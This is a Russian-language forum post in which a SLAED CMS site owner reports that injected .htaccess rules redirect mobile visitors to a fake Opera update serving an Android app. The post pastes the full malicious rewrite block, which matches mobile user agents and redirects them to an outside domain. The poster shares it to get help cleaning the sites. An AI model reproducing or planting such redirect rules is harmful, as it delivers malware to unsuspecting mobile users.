В общем, суть в том, что на сайт нельзя зайти с мобильного устройства, сразу идет перенаправление на левый сайт, где предлагается якобы скачать новую версию оперы, на деле же - какое то приложение (для android), вероятно ворующее деньги со счета (благо у меня планшет, так что вирус после инсталляции себя никак не смог проявить). вот код, автоматически прописанный во все .htaccess файлы. уничтожить простым способом нельзя - тут же появляется опять... вот как раз где у него "ядро" - найти пока не могу...
заражены все сайты на аккаунте.
index.php сайтов не содержат подозрительного кода.
смена паролей каких-либо, не спасает.
<br />
<br />
RewriteEngine on<br />
<br />
RewriteCond %{HTTP_ACCEPT} "text/vnd.wap.wml|application/vnd.wap.xhtml+xml" [NC,OR]<br />
<br />
RewriteCond %{HTTP_USER_AGENT} "acs|alav|alca|amoi|audi|aste|avan|benq|bird|blac|blaz|brew|cell|cldc|cmd-" [NC,OR]<br />
<br />
RewriteCond %{HTTP_USER_AGENT} "dang|doco|eric|hipt|inno|ipaq|java|jigs|kddi|keji|leno|lg-c|lg-d|lg-g|lge-" [NC,OR] <br />
<br />
RewriteCond %{HTTP_USER_AGENT} "maui|maxo|midp|mits|mmef|mobi|mot-|moto|mwbp|nec-|newt|noki|opwv" [NC,OR]<br />
<br />
RewriteCond %{HTTP_USER_AGENT} "palm|pana|pant|pdxg|phil|play|pluc|port|prox|qtek|qwap|sage|sams|sany" [NC,OR]<br />
<br />
RewriteCond %{HTTP_USER_AGENT} "sch-|sec-|send|seri|sgh-|shar|sie-|siem|smal|smar|sony|sph-|symb|t-mo" [NC,OR]<br />
<br />
RewriteCond %{HTTP_USER_AGENT} "teli|tim-|tosh|tsm-|upg1|upsi|vk-v|voda|w3cs|wap-|wapa|wapi" [NC,OR]<br />
<br />
RewriteCond %{HTTP_USER_AGENT} "wapp|wapr|webc|winw|winw|xda|xda-" [NC,OR]<br />
<br />
RewriteCond %{HTTP_USER_AGENT} "up.browser|up.link|windowssce|iemobile|mini|mmp" [NC,OR]<br />
<br />
RewriteCond %{HTTP_USER_AGENT} "symbian|midp|wap|phone|pocket|mobile|pda|psp|PPC|Android" [NC]<br />
<br />
RewriteCond %{HTTP_USER_AGENT} !macintosh [NC] <br />
<br />
RewriteCond %{HTTP_USER_AGENT} !america [NC]<br />
<br />
RewriteCond %{HTTP_USER_AGENT} !avant [NC]<br />
<br />
RewriteCond %{HTTP_USER_AGENT} !iphone [NC]<br />
<br />
RewriteCond %{HTTP_USER_AGENT} !download [NC]<br />
<br />
RewriteCond %{HTTP_USER_AGENT} !windows-media-player [NC]<br />
<br />
RewriteRule ^(.*)$ http://gofdoor.01g.info/blog/post.php?sid=24 [L,R=302]<br />
<br />
###IDI_KURI_KRAPIVU###<br />
<br />
Версия системы: SLAED CMS 2.6 Lite
Версия PHP: PHP 5
Сервер: Сервер в интернете
